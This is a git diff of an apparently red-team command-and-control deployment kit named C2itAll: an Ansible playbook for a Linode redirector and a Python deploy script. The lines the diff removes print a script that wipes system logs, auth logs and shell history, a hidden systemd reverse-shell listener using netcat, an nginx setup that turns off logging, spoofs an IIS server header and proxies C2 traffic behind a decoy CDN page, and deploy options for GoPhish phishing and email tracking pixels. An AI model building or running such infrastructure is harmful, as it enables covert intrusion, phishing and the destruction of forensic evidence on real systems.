+ - name: Validate required Linode token
+ assert:
+ that:
+ - linode_token is defined and linode_token != ""
+ fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token."
+
+ - name: Create redirector Linode instance
community.general.linode_v4:
access_token: "{{ linode_token }}"
label: "{{ redirector_name }}"
type: "{{ plan }}"
- region: "{{ region }}"
- image: "linode/debian11"
- root_pass: "{{ lookup('password', '/dev/null length=16') }}"
+ region: "{{ linode_region }}"
+ image: "{{ image }}"
+ root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
authorized_keys:
- - "{{ lookup('file', ssh_key_path + '.pub') }}"
+ - "{{ lookup('file', ssh_key_path) }}"
state: present
register: redirector_instance
- - name: Save redirector IP
- ansible.builtin.set_fact:
+ - name: Set redirector_ip for later use
+ set_fact:
redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}"
+ redirector_instance_id: "{{ redirector_instance.instance.id }}"
- - name: Wait for SSH to become available
- ansible.builtin.wait_for:
+ - name: Wait for redirector SSH to be available
+ wait_for:
host: "{{ redirector_ip }}"
port: 22
- delay: 10
+ delay: 30
timeout: 300
state: started
- name: Add redirector to inventory
- ansible.builtin.add_host:
+ add_host:
name: "redirector"
+ groups: "redirectors"
ansible_host: "{{ redirector_ip }}"
- ansible_user: "{{ ssh_user | default('root') }}"
- ansible_ssh_private_key_file: "{{ ssh_key_path }}"
- groups: redirectors
+ ansible_user: "{{ ssh_user }}"
+ ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
+ ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
-- name: Configure redirector
+- name: Configure redirector server
hosts: redirectors
become: true
+ gather_facts: true
+ vars_files:
+ - vars.yaml
vars:
- domain: "{{ domain | default('example.com') }}"
- redirector_subdomain: "cdn"
- letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
- zero_logs: "{{ zero_logs | default(true) }}"
- shell_handler_port: 4444
- c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}"
-
+ c2_ip: "{{ c2_ip | default('127.0.0.1') }}"
+ redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
tasks:
- - name: Update apt cache
+ - name: Wait for apt to be available
apt:
update_cache: yes
-
- - name: Install required packages
- apt:
- name:
- - nginx
- - certbot
- - python3-certbot-nginx
- - socat
- - netcat-openbsd
- - cryptsetup
- - secure-delete
+ register: apt_result
+ until: apt_result is success
+ retries: 5
+ delay: 10
+
+ - name: Disable root password authentication for SSH immediately
+ lineinfile:
+ path: /etc/ssh/sshd_config
+ regexp: '^#?PasswordAuthentication'
+ line: 'PasswordAuthentication no'
state: present
+
+ - name: Restart SSH service to apply changes
+ service:
+ name: ssh
+ state: restarted
+
+ - name: Include common redirector configuration tasks
+ include_tasks: "../tasks/configure_redirector.yml"
+
+ - name: Include common security hardening tasks
+ include_tasks: "../tasks/security_hardening.yml"
- - name: Create directories for OPSEC scripts
- file:
- path: "{{ item }}"
- state: directory
- mode: '0700'
- owner: root
- group: root
- with_items:
- - /opt/c2
- - /opt/shell-handler
-
- - name: Create clean-logs.sh script
- copy:
- content: |
- #!/bin/bash
- # Zero-logs maintenance script
- umask 077
-
- # Disable syslog temporarily
- systemctl stop rsyslog 2>/dev/null
- systemctl stop systemd-journald 2>/dev/null
-
- # Clear system logs
- find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
- find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
- find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
- journalctl --vacuum-time=1s 2>/dev/null
-
- # Clear bash history
- for histfile in /root/.bash_history /home/*/.bash_history; do
- [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
- done
- history -c
-
- # Clear NGINX logs
- for nginx_log in /var/log/nginx/*; do
- [ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
- done
-
- # Clear temporary directories
- rm -rf /tmp/* /var/tmp/* 2>/dev/null
-
- # Restart logging services
- systemctl start systemd-journald 2>/dev/null
- systemctl start rsyslog 2>/dev/null
-
- echo "[+] Log cleaning complete"
- exit 0
- dest: /opt/c2/clean-logs.sh
- mode: '0700'
- owner: root
- group: root
-
- - name: Create shell handler script
- copy:
- content: |
- #!/bin/bash
- # Automated shell handler for catching and upgrading reverse shells
-
- # Configuration
- LISTEN_PORT={{ shell_handler_port }}
- C2_HOST="{{ c2_ip }}"
-
- # Set secure permissions
- umask 077
-
- # Logging function
- log() {
- local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
- local message="$1"
- echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
- }
-
- # Detect OS function
- detect_os() {
- local connection=$1
-
- # Send commands to determine OS
- echo "echo \$OSTYPE" > $connection
- sleep 1
- ostype=$(cat $connection | grep -i "linux\|darwin\|win")
-
- if [[ $ostype == *"win"* ]]; then
- echo "windows"
- elif [[ $ostype == *"darwin"* ]]; then
- echo "macos"
- elif [[ $ostype == *"linux"* ]]; then
- echo "linux"
- else
- # Try Windows-specific command
- echo "ver" > $connection
- sleep 1
- winver=$(cat $connection | grep -i "microsoft windows")
-
- if [[ -n "$winver" ]]; then
- echo "windows"
- else
- # Default to Linux if we can't determine
- echo "linux"
- fi
- fi
- }
-
- # Main shell handler loop
- handle_connections() {
- log "Shell handler started on port $LISTEN_PORT"
-
- # Use mkfifo for bidirectional communication
- PIPE_PATH="/tmp/shell_handler_pipe"
- trap 'rm -f $PIPE_PATH' EXIT
-
- while true; do
- # Clean up existing pipe
- rm -f $PIPE_PATH
- mkfifo $PIPE_PATH
-
- log "Waiting for incoming connection..."
- nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
- NC_PID=$!
-
- # Wait for connection
- wait $NC_PID
- log "Connection closed, restarting listener..."
- rm -f $PIPE_PATH.output
- done
- }
-
- # Start the shell handler
- handle_connections
- dest: /opt/shell-handler/persistent-listener.sh
- mode: '0700'
- owner: root
- group: root
-
- - name: Create shell handler service
- copy:
- content: |
- [Unit]
- Description=Reverse Shell Handler Service
- After=network.target
-
- [Service]
- Type=simple
- User=root
- Group=root
- ExecStart=/opt/shell-handler/persistent-listener.sh
- Restart=always
- RestartSec=10
-
- # Hide process information
- PrivateTmp=true
- ProtectSystem=full
- NoNewPrivileges=true
-
- # Make shell handler hard to find
- StandardOutput=null
- StandardError=null
-
- # Environment variables
- Environment="C2_HOST={{ c2_ip }}"
- Environment="LISTEN_PORT={{ shell_handler_port }}"
-
- [Install]
- WantedBy=multi-user.target
- dest: /etc/systemd/system/shell-handler.service
- mode: '0644'
- owner: root
- group: root
-
- - name: Configure NGINX for zero-logging
- copy:
- content: |
- user www-data;
- worker_processes auto;
- pid /run/nginx.pid;
- include /etc/nginx/modules-enabled/*.conf;
-
- events {
- worker_connections 1024;
- multi_accept on;
- }
-
- http {
- # Basic Settings
- sendfile on;
- tcp_nopush on;
- tcp_nodelay on;
- keepalive_timeout 65;
- types_hash_max_size 2048;
- server_tokens off;
-
- # MIME
- include /etc/nginx/mime.types;
- default_type application/octet-stream;
-
- # Zero-logs configuration
- access_log off;
- error_log /dev/null crit;
-
- # SSL Settings
- ssl_protocols TLSv1.2 TLSv1.3;
- ssl_prefer_server_ciphers on;
- ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
-
- # Headers to confuse fingerprinting
- more_set_headers 'Server: Microsoft-IIS/8.5';
-
- # Virtual Host Configs
- include /etc/nginx/conf.d/*.conf;
- include /etc/nginx/sites-enabled/*;
- }
- dest: /etc/nginx/nginx.conf
- mode: '0644'
- owner: root
- group: root
- when: zero_logs|bool
-
- - name: Configure NGINX default site for C2 redirection
- copy:
- content: |
- server {
- listen 80;
- listen [::]:80;
- server_name {{ redirector_subdomain }}.{{ domain }};
-
- # Redirect to HTTPS
- return 301 https://$host$request_uri;
- }
-
- server {
- listen 443 ssl;
- listen [::]:443 ssl;
- server_name {{ redirector_subdomain }}.{{ domain }};
-
- # SSL Configuration (self-signed until Let's Encrypt is set up)
- ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
- ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
-
- # Root directory
- root /var/www/html;
- index index.html;
-
- # Special URI patterns for C2 traffic
- location /ajax/ {
- proxy_pass http://{{ c2_ip }}:8888;
- proxy_http_version 1.1;
- proxy_set_header Host $host;
- proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
- proxy_set_header X-Real-IP $remote_addr;
- proxy_set_header Upgrade $http_upgrade;
- proxy_set_header Connection "upgrade";
- }
-
- # Default location
- location / {
- try_files $uri $uri/ =404;
- }
-
- # Disable logging for this server block
- access_log off;
- error_log /dev/null crit;
- }
-
- # Catch-all server block
- server {
- listen 80 default_server;
- listen [::]:80 default_server;
-
- # Redirect all unknown traffic to a legitimate-looking site
- return 301 https://www.google.com;
-
- # Disable logs
- access_log off;
- error_log /dev/null crit;
- }
- dest: /etc/nginx/sites-available/default
- mode: '0644'
- owner: root
- group: root
-
- - name: Create legitimate-looking index.html
- copy:
- content: |
-
-
-
-
-
- {{ redirector_subdomain }} - Content Delivery Network
-
-
-
-
-
-
-
-
Welcome to Our CDN
-
This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.
-
This is a private service. Unauthorized access is prohibited.
-
-
-
-
- dest: /var/www/html/index.html
- mode: '0644'
- owner: www-data
- group: www-data
-
- - name: Start and enable shell handler service
- systemd:
- name: shell-handler
- state: started
- enabled: yes
- daemon_reload: yes
-
- - name: Set up cron job for log cleaning
- cron:
- name: "Clean logs"
- minute: "0"
- hour: "*/6"
- job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
- when: zero_logs|bool
-
- - name: Install Let's Encrypt certificate if domain specified
- shell: |
- certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
- args:
- creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
- when: domain != "example.com"
-
- - name: Restart NGINX
- systemd:
- name: nginx
- state: restarted
\ No newline at end of file
+ - name: Print deployment summary
+ debug:
+ msg:
+ - "Redirector Deployment Complete!"
+ - "-------------------------------"
+ - "Redirector IP: {{ ansible_host }}"
+ - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)"
+ - "Shell Handler Port: {{ shell_handler_port }}"
+ when: not disable_summary | default(false)
\ No newline at end of file
diff --git a/deploy.py b/deploy.py
index 2e6c4cf..afe0cf4 100644
--- a/deploy.py
+++ b/deploy.py
@@ -10,11 +10,8 @@ import json
import random
import string
import shutil
-import re
-import socket
-import paramiko
import logging
-import glob
+import tempfile
from datetime import datetime
# Disable Ansible host key checking
@@ -22,63 +19,62 @@ os.environ["ANSIBLE_HOST_KEY_CHECKING"] = "False"
# Constants
PROVIDERS = ["aws", "linode", "flokinet"]
-DEFAULT_REGION = {
- "aws": "us-east-1",
- "linode": "us-east",
- "flokinet": "anonymous"
-}
-DEFAULT_SIZE = {
- "aws": "t2.micro",
- "linode": "g6-standard-1",
- "flokinet": "standard"
+DEFAULT_SSH_USER = {
+ "aws": "kali",
+ "linode": "root",
+ "flokinet": "root"
}
-def normalize_provider_name(provider_name):
- """Normalize provider name to expected capitalization"""
- if not provider_name:
- return None
-
- provider_map = {
- 'aws': 'AWS',
- 'linode': 'Linode',
- 'flokinet': 'FlokiNET'
- }
+def setup_logging():
+ """Set up logging for the deployment"""
+ log_dir = "logs"
+ os.makedirs(log_dir, exist_ok=True)
+ timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
+ log_file = os.path.join(log_dir, f"deployment_{timestamp}.log")
- normalized = provider_map.get(provider_name.lower())
- if normalized:
- return normalized
+ logging.basicConfig(
+ filename=log_file,
+ level=logging.INFO,
+ format='%(asctime)s - %(levelname)s - %(message)s'
+ )
- return provider_name
+ # Add console handler for INFO level and above
+ console = logging.StreamHandler()
+ console.setLevel(logging.INFO)
+ formatter = logging.Formatter('[%(levelname)s] %(message)s')
+ console.setFormatter(formatter)
+ logging.getLogger('').addHandler(console)
+
+ logging.info("Deployment started")
+ return log_file
-def setup_argparse():
- """Set up and return the argument parser"""
- parser = argparse.ArgumentParser(description='Deploy C2itAll Red Team infrastructure')
+def parse_arguments():
+ """Parse command line arguments"""
+ parser = argparse.ArgumentParser(description='Deploy C2 Red Team infrastructure')
# Provider selection
- parser.add_argument('-p', '--provider', choices=PROVIDERS, help='Provider to use for deployment')
+ parser.add_argument('-p', '--provider', choices=PROVIDERS, default="aws", help='Provider to use for deployment')
# AWS-specific arguments
parser.add_argument('--aws-key', help='AWS access key')
parser.add_argument('--aws-secret', help='AWS secret key')
- parser.add_argument('--aws-region', help=f'AWS region (default: random from vars.yaml)')
+ parser.add_argument('--aws-region', help='AWS region (default: random from vars.yaml)')
# Linode-specific arguments
parser.add_argument('--linode-token', help='Linode API token')
- parser.add_argument('--linode-region', help=f'Linode region (default: random from vars.yaml)')
+ parser.add_argument('--linode-region', help='Linode region (default: random from vars.yaml)')
# FlokiNET-specific arguments
- parser.add_argument('--flokinet', action='store_true', help='Use FlokiNET as the provider (manual setup required)')
+ parser.add_argument('--flokinet', action='store_true', help='Use FlokiNET as the provider')
parser.add_argument('--flokinet-redirector-ip', help='FlokiNET redirector IP address')
parser.add_argument('--flokinet-c2-ip', help='FlokiNET C2 server IP address')
# General arguments
parser.add_argument('--ssh-key', help='Path to SSH private key')
- parser.add_argument('--ssh-user', help='SSH username (default: from vars.yaml or "root")')
- parser.add_argument('--size', help='Size/type of the instances')
- parser.add_argument('--region', help='Region for the instances')
+ parser.add_argument('--ssh-user', help='SSH username (default: provider-specific)')
+ parser.add_argument('--region', help='Generic region parameter')
parser.add_argument('--redirector-name', help='Name for the redirector instance (default: random)')
parser.add_argument('--c2-name', help='Name for the C2 instance (default: random)')
- parser.add_argument('--teardown', action='store_true', help='Tear down existing infrastructure')
# Deployment options
parser.add_argument('--redirector-only', action='store_true', help='Deploy only the redirector')
@@ -95,16 +91,7 @@ def setup_argparse():
# Post-deployment options
parser.add_argument('--ssh-after-deploy', action='store_true', help='SSH into the instance after deployment')
parser.add_argument('--copy-ssh-key', action='store_true', help='Copy SSH key to the server for passwordless login')
- parser.add_argument('--run-tests', action='store_true', help='Run tests after deployment')
-
- # Tracker module integration
- parser.add_argument('--deploy-tracker', action='store_true', help='Deploy tracker module')
- parser.add_argument('--tracker-domain', help='Domain name for the tracker server')
- parser.add_argument('--tracker-email', help='Email for the tracker server Let\'s Encrypt certificate')
- parser.add_argument('--tracker-name', help='Name for the tracker engagement')
- parser.add_argument('--tracker-ipinfo-token', help='IPinfo API token for tracker geolocation data')
- parser.add_argument('--tracker-setup-ssl', action='store_true', help='Set up SSL certificates for tracker')
- parser.add_argument('--tracker-create-pixel', action='store_true', help='Create email tracking pixel')
+ parser.add_argument('--teardown', action='store_true', help='Tear down existing infrastructure')
return parser.parse_args()
@@ -115,2837 +102,478 @@ def load_vars_file(provider):
try:
with open(vars_file, 'r') as f:
vars_data = yaml.safe_load(f)
- print(f"[+] Loaded configuration from {vars_file}")
+ logging.info(f"Loaded configuration from {vars_file}")
return vars_data
except Exception as e:
- print(f"[!] Warning: Failed to load {vars_file}: {e}")
+ logging.warning(f"Failed to load {vars_file}: {e}")
else:
- print(f"[!] Warning: {vars_file} not found")
+ logging.warning(f"{vars_file} not found")
return {}
-def load_config(args):
- """Load configuration from vars.yaml, environment variables, and arguments"""
- config = {}
-
- # Determine provider
- provider = args.provider
- if args.flokinet:
- provider = 'flokinet'
-
- if not provider:
- # Check config.yml for a saved provider
- if os.path.exists('config.yml'):
- try:
- with open('config.yml', 'r') as f:
- saved_config = yaml.safe_load(f)
- provider = saved_config.get('provider')
- print(f"[+] Using saved provider from config.yml: {provider}")
- except Exception as e:
- print(f"[!] Warning: Failed to load config.yml: {e}")
-
- # If still no provider, try each vars.yaml to see which ones exist
- if not provider:
- for p in PROVIDERS:
- if os.path.exists(f"{p}/vars.yaml"):
- provider = p
- print(f"[+] Auto-detected provider from {p}/vars.yaml")
- break
-
- # If still no provider, default to 'aws'
- if not provider:
- provider = 'aws'
- print(f"[!] No provider specified, defaulting to {provider}")
-
- config['provider'] = provider
-
- # Load vars.yaml for the selected provider
- vars_data = load_vars_file(provider)
-
- # Override with environment variables and command line arguments
- if provider == 'aws':
- config['aws_key'] = args.aws_key or os.environ.get('AWS_ACCESS_KEY_ID') or vars_data.get('aws_access_key')
- config['aws_secret'] = args.aws_secret or os.environ.get('AWS_SECRET_ACCESS_KEY') or vars_data.get('aws_secret_key')
-
- # Get region choices from vars.yaml
- config['aws_region_choices'] = vars_data.get('aws_region_choices', [DEFAULT_REGION['aws']])
-
- # Set region (explicitly provided, or keep it None for random selection later)
- config['aws_region'] = args.aws_region
-
- # Load AMI map
- config['ami_map'] = vars_data.get('ami_map', {})
-
- elif provider == 'linode':
- config['linode_token'] = args.linode_token or os.environ.get('LINODE_TOKEN') or vars_data.get('linode_token')
-
- # Get region choices from vars.yaml
- config['linode_region_choices'] = vars_data.get('region_choices', [DEFAULT_REGION['linode']])
-
- # Set region (explicitly provided, or keep it None for random selection later)
- config['linode_region'] = args.linode_region
-
- elif provider == 'flokinet':
- config['flokinet_redirector_ip'] = args.flokinet_redirector_ip or vars_data.get('redirector_ip')
- config['flokinet_c2_ip'] = args.flokinet_c2_ip or vars_data.get('c2_ip')
-
- # Get region choices from vars.yaml
- config['flokinet_region_choices'] = vars_data.get('flokinet_region_choices', [DEFAULT_REGION['flokinet']])
-
- # General configuration from vars.yaml
- config['ssh_key'] = args.ssh_key or vars_data.get('ssh_key_path')
- config['ssh_user'] = args.ssh_user or vars_data.get('ssh_user', 'root')
-
- # Instance size from vars.yaml or default
- if provider == 'aws':
- config['size'] = args.size or vars_data.get('aws_instance_type', DEFAULT_SIZE['aws'])
- elif provider == 'linode':
- config['size'] = args.size or vars_data.get('plan', DEFAULT_SIZE['linode'])
- else:
- config['size'] = args.size or DEFAULT_SIZE.get(provider, 'small')
-
- # Set region to None to trigger randomization later if not explicitly provided
- config['region'] = args.region
-
- # Generate random instance names if not provided - OPSEC improvement
- rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
- timestamp = int(time.time()) % 10000 # Last 4 digits of timestamp for brevity
-
- # OPSEC: Use generic names that don't indicate purpose
- config['redirector_name'] = args.redirector_name or f"srv-{rand_suffix}-{timestamp}"
- config['c2_name'] = args.c2_name or f"node-{rand_suffix}-{timestamp}"
-
- # Other flags
- config['teardown'] = args.teardown
- config['redirector_only'] = args.redirector_only
- config['c2_only'] = args.c2_only
- config['debug'] = args.debug
- config['ssh_after_deploy'] = args.ssh_after_deploy
- config['copy_ssh_key'] = args.copy_ssh_key
- config['run_tests'] = args.run_tests
-
- # Domain and email
- config['domain'] = args.domain or vars_data.get('domain', 'example.com')
- config['letsencrypt_email'] = args.letsencrypt_email or vars_data.get('letsencrypt_email', 'admin@example.com')
-
- # OPSEC settings - default to enabled for better security
- config['disable_history'] = args.disable_history if args.disable_history is not None else vars_data.get('disable_history', True)
- config['secure_memory'] = args.secure_memory if args.secure_memory is not None else vars_data.get('secure_memory', True)
- config['zero_logs'] = args.zero_logs if args.zero_logs is not None else vars_data.get('zero_logs', True)
-
- # Generate random SSH key for this deployment if not specified
- if not config.get('ssh_key') and provider != 'flokinet':
- config['ssh_key'] = generate_ssh_key(rand_suffix)
-
- # GoPhish settings
- config['gophish_admin_port'] = vars_data.get('gophish_admin_port', str(random.randint(2000, 9000)))
- config['smtp_auth_user'] = vars_data.get('smtp_auth_user', f"user{random.randint(1000, 9999)}")
-
- # Generate strong random password if not specified
- if not vars_data.get('smtp_auth_pass'):
- # Only use letters and digits for safety - no special characters
- charset = string.ascii_letters + string.digits
- random_pass = ''.join(random.choices(charset, k=20))
- config['smtp_auth_pass'] = random_pass
- else:
- config['smtp_auth_pass'] = vars_data.get('smtp_auth_pass')
-
- # Set random SSH port for better OPSEC
- config['ssh_port'] = vars_data.get('ssh_port', random.randint(20000, 65000))
-
- # Tracker module settings
- config['deploy_tracker'] = args.deploy_tracker
- config['tracker_domain'] = args.tracker_domain
- config['tracker_email'] = args.tracker_email
- config['tracker_name'] = args.tracker_name
- config['tracker_ipinfo_token'] = args.tracker_ipinfo_token
- config['tracker_setup_ssl'] = args.tracker_setup_ssl
- config['tracker_create_pixel'] = args.tracker_create_pixel
-
- return config
-
-def select_region(config):
- """Select region randomly from choices or use explicitly provided region"""
- provider = config['provider']
-
- if provider == 'aws':
- if config.get('aws_region'):
- selected_region = config['aws_region']
- print(f"[+] Using specified AWS region: {selected_region}")
- else:
- # Randomize for OPSEC
- region_choices = config.get('aws_region_choices', [DEFAULT_REGION['aws']])
-
- # If multiple regions available, select randomly
- if len(region_choices) > 1:
- # Weighted selection favoring less common regions for better OPSEC
- weights = [1.5 if 'gov' not in r and 'us-east' not in r else 1.0 for r in region_choices]
- selected_region = random.choices(region_choices, weights=weights, k=1)[0]
- else:
- selected_region = region_choices[0]
-
- print(f"[+] Randomly selected AWS region: {selected_region}")
- config['aws_region'] = selected_region
- return selected_region
-
- elif provider == 'linode':
- if config.get('linode_region'):
- selected_region = config['linode_region']
- print(f"[+] Using specified Linode region: {selected_region}")
- else:
- # Randomize for OPSEC
- region_choices = config.get('linode_region_choices', [DEFAULT_REGION['linode']])
- # Favor less common regions for better OPSEC
- weights = [1.5 if 'us' not in r else 1.0 for r in region_choices]
- selected_region = random.choices(region_choices, weights=weights, k=1)[0]
- print(f"[+] Randomly selected Linode region: {selected_region}")
- config['linode_region'] = selected_region
- return selected_region
-
- elif provider == 'flokinet':
- if config.get('region'):
- selected_region = config['region']
- print(f"[+] Using specified FlokiNET region: {selected_region}")
- else:
- region_choices = config.get('flokinet_region_choices', [DEFAULT_REGION['flokinet']])
- selected_region = random.choice(region_choices)
- print(f"[+] Randomly selected FlokiNET region: {selected_region}")
- config['region'] = selected_region
- return selected_region
-
- # Fallback
- if config.get('region'):
- return config['region']
-
- return DEFAULT_REGION.get(provider, 'us-east')
-
-def verify_key_file_permissions(key_path):
- """Verify and fix SSH key file permissions"""
- try:
- # Check if key file exists
- if not os.path.exists(key_path):
- print(f"[-] SSH key file not found: {key_path}")
- return False
-
- # Fix permissions
- current_mode = os.stat(key_path).st_mode & 0o777
- if current_mode != 0o600:
- print(f"[!] SSH key has incorrect permissions: {oct(current_mode)[2:]}. Fixing to 0600...")
- os.chmod(key_path, 0o600)
- print(f"[+] SSH key permissions fixed")
-
- return True
- except Exception as e:
- print(f"[-] Error verifying key file permissions: {e}")
- return False
-
-def parse_ansible_error(stderr):
- """Parse ansible error output to extract useful information"""
- error_info = {}
-
- # Look for common ansible error patterns
- if "FAILED! => " in stderr:
- # Extract the JSON error part
- error_start = stderr.find("FAILED! => ")
- error_text = stderr[error_start:].split("\n")[0]
- # Remove the "FAILED! => " prefix
- error_text = error_text.replace("FAILED! => ", "")
-
- try:
- # Try to parse as JSON
- error_info = json.loads(error_text)
- except:
- # If not valid JSON, use the text as is
- error_info = {"msg": error_text}
-
- # Look for common error messages
- if "SSH Error:" in stderr:
- error_info["ssh_error"] = True
-
- if "No such file or directory" in stderr:
- error_info["file_not_found"] = True
-
- if "Permission denied" in stderr:
- error_info["permission_denied"] = True
-
- if "The API Token provided is not valid" in stderr:
- error_info["invalid_api_token"] = True
-
- return error_info
-
-def setup_error_logging():
- """Setup error logging and ensure log directory exists"""
- log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "logs")
- os.makedirs(log_dir, exist_ok=True)
-
- # Set up global log file
- timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
- log_file = os.path.join(log_dir, f"deployment_{timestamp}.log")
-
- # Configure logging
- logging.basicConfig(
- filename=log_file,
- level=logging.DEBUG if '--debug' in sys.argv else logging.INFO,
- format='%(asctime)s - %(levelname)s - %(message)s'
- )
-
- # Log start of script
- logging.info("C2itAll deployment script started")
-
- return log_file
-
-def validate_config(config):
- """Validate the configuration"""
- provider = config['provider']
-
- if provider == 'aws':
- if not config.get('aws_key') or not config.get('aws_secret'):
- print("[-] Error: AWS credentials must be provided")
- print(" Use --aws-key and --aws-secret, or set AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY environment variables")
- return False
-
- if provider == 'linode':
- if not config.get('linode_token'):
- print("[-] Error: Linode token must be provided")
- print(" Use --linode-token or set LINODE_TOKEN environment variable")
- return False
-
- if provider == 'flokinet':
- # For FlokiNET, we'll prompt for IPs if not provided
- if (not config.get('flokinet_redirector_ip') and not config['c2_only']) or \
- (not config.get('flokinet_c2_ip') and not config['redirector_only']):
- print("[*] FlokiNET IPs not fully specified - will prompt during deployment")
- # This is not a failure case anymore, just a warning
-
- if not config.get('ssh_key') and provider != 'flokinet':
- print("[*] SSH key not provided, will generate one")
- config['ssh_key'] = generate_ssh_key()
- if not config['ssh_key']:
- return False
-
- # Check for deployment logic issues
- if config['redirector_only'] and config['c2_only']:
- print("[-] Error: Cannot specify both --redirector-only and --c2-only")
- return False
-
- # Tracker module validation
- if config['deploy_tracker']:
- if not config.get('tracker_domain') and not config.get('tracker_ipinfo_token'):
- print("[-] Warning: Tracker deployment without domain or IPInfo token will have limited functionality")
-
- return True
-
-def deploy_aws(config):
- """Deploy infrastructure using AWS provider"""
- print("[+] Deploying AWS infrastructure...")
-
- # Set AWS environment variables
- os.environ['AWS_ACCESS_KEY_ID'] = config['aws_key']
- os.environ['AWS_SECRET_ACCESS_KEY'] = config['aws_secret']
-
- # Create logs directory
- log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "logs")
- os.makedirs(log_dir, exist_ok=True)
- timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
-
- # Only create one log file in the logs directory
- log_file = os.path.join(log_dir, f"deployment_{timestamp}_aws.log")
-
- print(f"[+] Creating deployment log at: {log_file}")
-
- # Prepare SSH key - for AWS we'll use AWS key pairs instead of local files
- ssh_key_name = config.get('ssh_key_name')
- if not ssh_key_name:
- # Generate a random key name for AWS
- rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
- timestamp = int(time.time()) % 10000
- ssh_key_name = f"c2itall-{rand_suffix}-{timestamp}"
-
- config['ssh_key_name'] = ssh_key_name
- print(f"[+] Using AWS key pair name: {ssh_key_name}")
-
- # Create a temporary inventory file for Ansible
- inventory_file = f"inventory_aws_{int(time.time())}.yml"
-
- with open(log_file, 'a') as f:
- f.write(f"==== CREATING INVENTORY FILE: {inventory_file} ====\n")
-
- with open(inventory_file, 'w') as f:
- f.write("---\n")
- f.write("all:\n")
- f.write(" vars:\n")
- f.write(f" ansible_ssh_private_key_file: ~/.ssh/{ssh_key_name}.pem\n")
- f.write(f" ansible_user: {config.get('ssh_user', 'ec2-user')}\n")
- f.write(f" ansible_python_interpreter: /usr/bin/python3\n")
- f.write(" children:\n")
- f.write(" redirectors:\n")
- f.write(" hosts:\n")
- f.write(" redirector:\n")
- f.write(" ansible_host: '{{ redirector_ip }}'\n")
- f.write(" c2servers:\n")
- f.write(" hosts:\n")
- f.write(" c2:\n")
- f.write(" ansible_host: '{{ c2_ip }}'\n")
-
- # Log inventory file content
- with open(log_file, 'a') as f:
- f.write(f"INVENTORY CONTENT:\n")
- with open(inventory_file, 'r') as inv:
- f.write(inv.read())
- f.write("\n==== END INVENTORY FILE ====\n\n")
-
- # Generate default names if not provided
- rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
- timestamp = int(time.time()) % 10000
- redirector_name = config.get('redirector_name', f"srv-{rand_suffix}-{timestamp}")
- c2_name = config.get('c2_name', f"node-{rand_suffix}-{timestamp}")
-
- # Update config with generated names for logging
- config['redirector_name'] = redirector_name
- config['c2_name'] = c2_name
-
- # Log important information
- with open(log_file, 'a') as f:
- f.write(f"==== DEPLOYMENT INFORMATION ====\n")
- f.write(f"AWS Key Pair Name: {ssh_key_name}\n")
- f.write(f"Redirector Name: {redirector_name}\n")
- f.write(f"C2 Name: {c2_name}\n")
- f.write(f"AWS Region: {config.get('aws_region', 'default region')}\n")
- f.write(f"Domain: {config.get('domain', 'example.com')}\n")
- f.write(f"==== END DEPLOYMENT INFORMATION ====\n\n")
-
- # Track deployed instances and resources for cleanup if needed
- deployed_instances = []
- deployed_resources = []
- success = False
-
- try:
- # Create extra_vars dictionary with all config values
- extra_vars = {
- 'aws_access_key': config['aws_key'],
- 'aws_secret_key': config['aws_secret'],
- 'aws_region': config.get('aws_region', DEFAULT_REGION['aws']),
- 'ami_map': config.get('ami_map', {}),
- 'size': config.get('size', DEFAULT_SIZE['aws']),
- 'aws_instance_type': config.get('size', DEFAULT_SIZE['aws']),
- 'redirector_name': redirector_name,
- 'c2_name': c2_name,
- 'teardown': config.get('teardown', False),
- 'disable_history': config.get('disable_history', True),
- 'secure_memory': config.get('secure_memory', True),
- 'zero_logs': config.get('zero_logs', True),
- 'redirector_only': config.get('redirector_only', False),
- 'c2_only': config.get('c2_only', False),
- 'debug': config.get('debug', False),
- 'domain': config.get('domain', 'example.com'),
- 'letsencrypt_email': config.get('letsencrypt_email', 'admin@example.com'),
- 'gophish_admin_port': config.get('gophish_admin_port', str(random.randint(2000, 9000))),
- 'smtp_auth_user': config.get('smtp_auth_user', f"user{random.randint(1000, 9999)}"),
